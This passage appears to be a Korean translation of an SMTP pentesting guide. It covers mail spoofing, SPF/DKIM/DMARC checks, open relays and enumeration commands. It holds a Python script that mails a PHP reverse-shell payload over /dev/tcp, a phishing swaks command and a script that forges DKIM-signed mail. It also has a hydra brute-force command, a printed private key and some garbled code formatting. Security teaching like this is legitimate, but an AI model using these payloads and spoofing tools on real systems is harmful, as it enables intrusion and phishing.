```
```bash
swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197
```
### Python을 사용하여 이메일 보내기
Python 코드 여기에
\`\`\`python from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText import smtplib import sys
lhost = "127.0.0.1" lport = 443 rhost = "192.168.1.1" rport = 25 # 489,587
## create message object instance
msg = MIMEMultipart()
## setup the parameters of the message
password = "" msg\['From'] = "attacker@local" msg\['To'] = "victim@local" msg\['Subject'] = "This is not a drill!"
## payload
message = ("& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))
print("\[\*] Payload is generated : %s" % message)
msg.attach(MIMEText(message, 'plain')) server = smtplib.SMTP(host=rhost,port=rport)
if server.noop()\[0] != 250: print("\[-]Connection Error") exit()
server.starttls()
## Uncomment if log-in with authencation
## server.login(msg\['From'], password)
server.sendmail(msg\['From'], msg\['To'], msg.as\_string()) server.quit()
print("\[\*\*\*]successfully sent email to %s:" % (msg\['To']))
````
## SMTP 스머글링
SMTP 스머글링 취약점은 모든 SMTP 보호 기능을 우회할 수 있게 했습니다 (보호 기능에 대한 자세한 내용은 다음 섹션을 참조하세요). SMTP 스머글링에 대한 자세한 내용은 확인하세요:
[smtp-smuggling.md](smtp-smuggling.md)
## 이메일 위조 대책
**SPF**, **DKIM**, 및 **DMARC**를 사용하여 이메일 위조를 방지하여 조직은 권한 없이 이메일을 보낼 수 없습니다.
이러한 대책에 대한 **상세 가이드**는 [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/)에서 제공됩니다.
### SPF
SPF는 2014년에 "폐기"되었습니다. 이는 `_spf.domain.com`에 **TXT 레코드**를 생성하는 대신 **같은 구문**을 사용하여 `domain.com`에 생성해야 함을 의미합니다.\
또한, 이전 SPF 레코드를 재사용하기 위해 `"v=spf1 include:_spf.google.com ~all"`과 같은 내용을 찾는 것이 일반적입니다.
**발신자 정책 프레임워크** (SPF)는 메일 전송 에이전트(MTA)가 조직에서 정의한 인증된 메일 서버 목록을 쿼리하여 이메일을 보내는 호스트가 인가되었는지 확인할 수 있는 메커니즘입니다. 이 목록은 IP 주소/범위, 도메인 및 기타 엔티티를 명시하는 SPF 레코드 내의 다양한 "**메커니즘**"을 포함합니다.
#### 메커니즘
[Wikipedia](https://en.wikipedia.org/wiki/Sender\_Policy\_Framework)에서:
| 메커니즘 | 설명 |
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL | 항상 일치; 이전 메커니즘에 일치하지 않는 모든 IP에 대한 `-all`과 같은 기본 결과에 사용됨. |
| A | 도메인 이름이 발신자 주소로 해석될 수 있는 주소 레코드 (A 또는 AAAA)가 있는 경우 일치함. |
| IP4 | 발신자가 특정 IPv4 주소 범위에 있는 경우 일치함. |
| IP6 | 발신자가 특정 IPv6 주소 범위에 있는 경우 일치함. |
| MX | 도메인 이름이 발신자 주소로 해석되는 MX 레코드가 있는 경우 일치함 (즉, 메일이 도메인의 수신 메일 서버 중 하나에서 온 것임). |
| PTR | 클라이언트 주소에 대한 도메인 이름 (PTR 레코드)이 주어진 도메인에 있고 해당 도메인 이름이 클라이언트 주소로 해석되는 경우 (전방 확인된 역방향 DNS), 일치함. 이 메커니즘은 가능한 경우 피하는 것이 좋으며 피해야 함. |
| EXISTS | 주어진 도메인 이름이 어떤 주소로 해석되더라도 일치함 (해당 주소가 무엇이든 상관없이). 이것은 거의 사용되지 않음. SPF 매크로 언어와 함께 사용하면 DNSBL-쿼리와 같은 더 복잡한 일치를 제공함. |
| INCLUDE | 다른 도메인의 정책을 참조함. 해당 도메인의 정책이 통과하면 이 메커니즘도 통과함. 그러나 포함된 정책이 실패하는 경우 처리가 계속됨. 다른 도메인의 정책을 완전히 위임하려면 리디렉션 확장을 사용해야 함. |
| REDIRECT | 리디렉션은 SPF 정책을 호스팅하는 다른 도메인 이름을 가리키는 포인터로, 여러 도메인이 동일한 SPF 정책을 공유할 수 있게 함. 동일한 이메일 인프라를 공유하는 많은 도메인과 작업할 때 유용함.
리디렉션 메커니즘에 지정된 도메인의 SPF 정책이 사용됨.
|
**메커니즘이 일치하는 경우 어떻게 처리해야 하는지를 나타내는 **퀄리파이어**를 식별할 수도 있습니다. 기본적으로 **퀄리파이어 "+"**가 사용됩니다 (따라서 어떤 메커니즘이 일치하면 허용됨을 의미함).\
일반적으로 **각 SPF 정책의 끝에** 다음과 같은 내용을 찾을 수 있습니다: **\~all** 또는 **-all**. 이는 **발신자가 어떤 SPF 정책과도 일치하지 않는 경우, 이메일을 신뢰할 수 없는 것으로 표시 (\~)하거나 이메일을 거부 (-)해야 함을 나타냅니다.**
#### 퀄리파이어
정책 내의 각 메커니즘은 의도된 결과를 정의하기 위해 네 가지 퀄리파이어 중 하나로 접두사를 붙일 수 있습니다:
* **`+`**: PASS 결과에 해당함. 기본적으로 메커니즘은 이 퀄리파이어를 가정하며, `+mx`가 `mx`와 동일함.
* **`?`**: NEUTRAL 결과를 나타냄으로, 특정 정책이 없는 경우와 유사하게 처리됨.
* **`~`**: SOFTFAIL을 나타내며, NEUTRAL과 FAIL 사이의 중간 지점 역할을 함. 이 결과를 만족하는 이메일은 일반적으로 수락되지만 그에 따라 표시됨.
* **`-`**: FAIL을 나타내며, 이메일을 완전히 거부해야 함을 제안함.
다음 예제에서는 **google.com의 SPF 정책**이 설명되어 있습니다. 첫 번째 SPF 정책 내에서 다른 도메인의 SPF 정책이 포함되어 있는 것에 주목하세요:
```shell-session
dig txt google.com | grep spf
google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all"
dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com. IN TXT
_spf.google.com. 235 IN TXT "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"
dig txt _netblocks.google.com | grep spf
_netblocks.google.com. 1606 IN TXT "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"
dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"
dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
````
전통적으로는 올바른 SPF 레코드가 없는 도메인 이름을 위조하는 것이 가능했습니다. **현재는**, **유효한 SPF 레코드가 없는 도메인에서 이메일이 온 경우** 자동으로 **거부/신뢰되지 않는 것으로 표시될 가능성**이 높습니다.
도메인의 SPF를 확인하려면 [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)와 같은 온라인 도구를 사용할 수 있습니다.
#### DKIM (도메인키 식별 메일)
DKIM은 발신 이메일에 서명하여 외부 메일 전송 에이전트(MTA)가 해당 도메인의 공개 키를 DNS에서 검색하여 유효성을 확인할 수 있도록 하는 기술입니다. 이 공개 키는 도메인의 TXT 레코드에 위치합니다. 이 키에 액세스하려면 셀렉터와 도메인 이름을 알아야 합니다.
예를 들어, 키를 요청하려면 도메인 이름과 셀렉터가 필요합니다. 이 정보는 메일 헤더 `DKIM-Signature`에서 찾을 수 있습니다. 예: `d=gmail.com;s=20120113`.
이 정보를 가져오기 위한 명령어는 다음과 같을 수 있습니다:
```bash
dig 20120113._domainkey.gmail.com TXT | grep p=
# This command would return something like:
20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3
```
#### DMARC (도메인 기반 메시지 인증, 보고 및 준수)
DMARC는 SPF 및 DKIM 프로토콜을 기반으로 이메일 보안을 강화합니다. 특정 도메인에서 이메일 처리에 대한 정책을 개요화하여 메일 서버가 인증 실패를 처리하는 방법 및 이메일 처리 작업에 대한 보고를 어디로 보낼지 안내합니다.
**DMARC 레코드를 얻으려면 \_dmarc 하위 도메인을 쿼리해야 합니다**
```bash
# Reject
dig _dmarc.facebook.com txt | grep DMARC
_dmarc.facebook.com. 3600 IN TXT "v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"
# Quarantine
dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com. 300 IN TXT "v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"
# None
dig _dmarc.bing.com txt | grep DMARC
_dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"
```
**DMARC 태그**
#### **하위 도메인은 어떻게 되나요?**
**여기**에서 확인할 수 있습니다.\
메일을 보내려는 각 하위 도메인마다 별도의 SPF 레코드가 필요합니다.\
다음 내용은 원래 openspf.org에 게시된 것으로, 이러한 유형의 정보에 대한 좋은 자료원이었던 곳입니다.
악마 질문: 하위 도메인은 어떻게 되나요?
만약 pielovers.demon.co.uk에서 메일을 받았는데, pielovers에 대한 SPF 데이터가 없다면, demon.co.uk의 SPF를 확인해야 할까요? 아니요. Demon의 각 하위 도메인은 다른 고객이며, 각 고객은 자체 정책을 가질 수 있습니다. Demon의 정책이 기본적으로 모든 고객에 적용되는 것은 의미가 없습니다. Demon이 그렇게 하려면 각 하위 도메인에 대해 SPF 레코드를 설정할 수 있습니다.
따라서 SPF 게시자에 대한 권고 사항은 다음과 같습니다: 각 A 또는 MX 레코드가 있는 각 하위 도메인 또는 호스트 이름에 SPF 레코드를 추가해야 합니다.
와일드카드 A 또는 MX 레코드가 있는 사이트는 다음과 같은 형식의 와일드카드 SPF 레코드도 가져야 합니다: \* IN TXT "v=spf1 -all"
이는 합리적입니다 - 하위 도메인은 매우 다른 지리적 위치에 있을 수 있으며 매우 다른 SPF 정의를 가질 수 있습니다.
#### **오픈 릴레이**
이메일을 보낼 때 스팸으로 표시되지 않도록 하는 것은 매우 중요합니다. 이는 주로 수신자가 신뢰하는 **릴레이 서버를 통해** 달성됩니다. 그러나 일반적인 도전 과제는 관리자가 어떤 **IP 범위가 안전하게 허용되어야 하는지를 완전히 인식하지 못할 수도** 있다는 것입니다. 이러한 이해 부족은 SMTP 서버 설정에서 실수를 유발할 수 있으며, 이는 보안 평가에서 자주 발견되는 위험입니다.
잠재적 또는 진행 중인 고객과의 통신을 특히 걱정할 때 일부 관리자가 이메일 전달 문제를 피하기 위해 사용하는 해결책은 **모든 IP 주소에서의 연결을 허용**하는 것입니다. 이는 SMTP 서버의 `mynetworks` 매개변수를 모든 IP 주소를 허용하도록 구성하여 수행됩니다.
```bash
mynetworks = 0.0.0.0/0
```
다음은 메일 서버가 오픈 릴레이인지 확인하는 데 사용되는 `nmap` 도구에 대한 내용입니다. 이는 외부 소스에서 이메일을 전달할 수 있는 서버를 의미합니다. 이를 테스트하기 위해 특정 스크립트가 포함된 `nmap` 도구가 일반적으로 사용됩니다. 예를 들어 IP가 10.10.10.10인 서버의 포트 25에서 `nmap`을 사용하여 상세 스캔을 수행하는 명령어는 다음과 같습니다:
```bash
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
```
#### **도구**
* [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **SPF 및 DMARC 구성 오류 확인**
* [**https://pypi.org/project/checkdmarc/**](https://pypi.org/project/checkdmarc/) **자동으로 SPF 및 DMARC 구성 가져오기**
#### 이메일 위조 보내기
* [**https://www.mailsploit.com/index**](https://www.mailsploit.com/index)
* [**http://www.anonymailer.net/**](http://www.anonymailer.net)
* [**https://emkei.cz/**](https://emkei.cz/)
**또는 도구를 사용할 수 있습니다:**
* [**https://github.com/magichk/magicspoofing**](https://github.com/magichk/magicspoofing)
```bash
# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com
```
만약 dkim python 라이브러리를 사용할 때 **키를 구문 분석하는 데 오류가 발생**하면 다음과 같이 사용해도 괜찮습니다.\
**참고**: 이것은 openssl 개인 키가 어떤 이유로든 dkim에 의해 **구문 분석되지 못하는 경우**에 빠른 확인을 위한 더러운 수정이라는 점을 유의하세요.
```
-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO
pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB
AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1
koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR
fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq
1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j
ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc
GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf
422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI
Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do
zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
-----END RSA PRIVATE KEY-----
```
**또는 수동으로 수행할 수 있습니다:**
\# 이것은 서명되지 않은 메시지를 보냅니다mail("your\_email@gmail.com", "테스트 제목!", "안녕하세요! 이것은 테스트입니다", "From: administrator@victim.com");# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.pyimport osimport dkim #pip3 install dkimpyimport smtplibfrom email.mime.multipart import MIMEMultipartfrom email.mime.text import MIMETextfrom email.mime.base import MIMEBase# Set paramsdestination="destination@gmail.com"sender="administrator@victim.com"subject="Test"message\_html="""\\\This is a test, not a scam\
\
\\"""sender\_domain=sender.split("@")\[1]# Prepare postfixos.system("sudo sed -ri 's/(myhostname) = (.\*)/\\\1 = "+sender\_domain+"/g' /etc/postfix/main.cf")os.system("systemctl restart postfix")# Generate DKIM keysdkim\_private\_key\_path="dkimprivatekey.pem"os.system(f"openssl genrsa -out {dkim\_private\_key\_path} 1024 2> /dev/null")with open(dkim\_private\_key\_path) as fh:dkim\_private\_key = fh.read()# Generate emailmsg = MIMEMultipart("alternative")msg.attach(MIMEText(message\_html, "html"))msg\["To"] = destinationmsg\["From"] = sendermsg\["Subject"] = subjectheaders = \[b"To", b"From", b"Subject"]msg\_data = msg.as\_bytes()# Sign email with dkim## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)dkim\_selector="s1"sig = dkim.sign(message=msg\_data,selector=str(dkim\_selector).encode(),domain=sender\_domain.encode(),privkey=dkim\_private\_key.encode(),include\_headers=headers)msg\["DKIM-Signature"] = sig\[len("DKIM-Signature: ") :].decode()msg\_data = msg.as\_bytes()# Use local postfix relay to send emailsmtp="127.0.0.1"s = smtplib.SMTP(smtp)s.sendmail(sender, \[destination], msg\_data)
#### **추가 정보**
**이러한 보호 기능에 대한 자세한 정보는** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/) **에서 찾을 수 있습니다.**
#### **기타 사기 피싱 지표**
* 도메인 연령
* IP 주소를 가리키는 링크
* 링크 조작 기술
* 수상한 (흔하지 않은) 첨부 파일
* 이메일 콘텐츠 손상
* 메일 헤더와 다른 값 사용
* 유효하고 신뢰할 수 있는 SSL 인증서의 존재
* 페이지를 웹 콘텐츠 필터링 사이트에 제출
### SMTP를 통한 유출
**SMTP를 통해 데이터를 전송할 수 있다면** [**여기를 읽어보세요**](../../generic-methodologies-and-resources/exfiltration.md#smtp)**.**
### 구성 파일
#### 포스트픽스
일반적으로, `/etc/postfix/master.cf`에는 사용자가 새 이메일을 받을 때 실행할 **스크립트가 포함**되어 있습니다. 예를 들어, `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}`라는 줄은 사용자 mark가 새 이메일을 받으면 `/etc/postfix/filtering`이 실행될 것을 의미합니다.
다른 구성 파일:
```
sendmail.cf
submit.cf
```
### 참고 자료
* [https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/](https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/)
* [https://www.reddit.com/r/HowToHack/comments/101it4u/what\_could\_hacker\_do\_with\_misconfigured\_smtp/](https://www.reddit.com/r/HowToHack/comments/101it4u/what\_could\_hacker\_do\_with\_misconfigured\_smtp/)
```
Protocol_Name: SMTP #Protocol Abbreviation if there is one.
Port_Number: 25,465,587 #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.
https://book.hacktricks.xyz/pentesting/pentesting-smtp
Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25
Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}
Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}
Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587
Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}
Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V
Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'
```
**취약점 평가 및 침투 테스트를 즉시 사용할 수 있도록 설정**. 20가지 이상의 도구 및 기능을 사용하여 어디서든 전체 펜테스트를 실행하고, 정찰부터 보고서 작성까지 가능합니다. 우리는 펜테스터를 대체하지 않습니다 - 대신, 깊이 파고들고, 쉘을 열고 즐길 수 있는 시간을 돌려주기 위해 사용자 정의 도구, 탐지 및 공격 모듈을 개발합니다.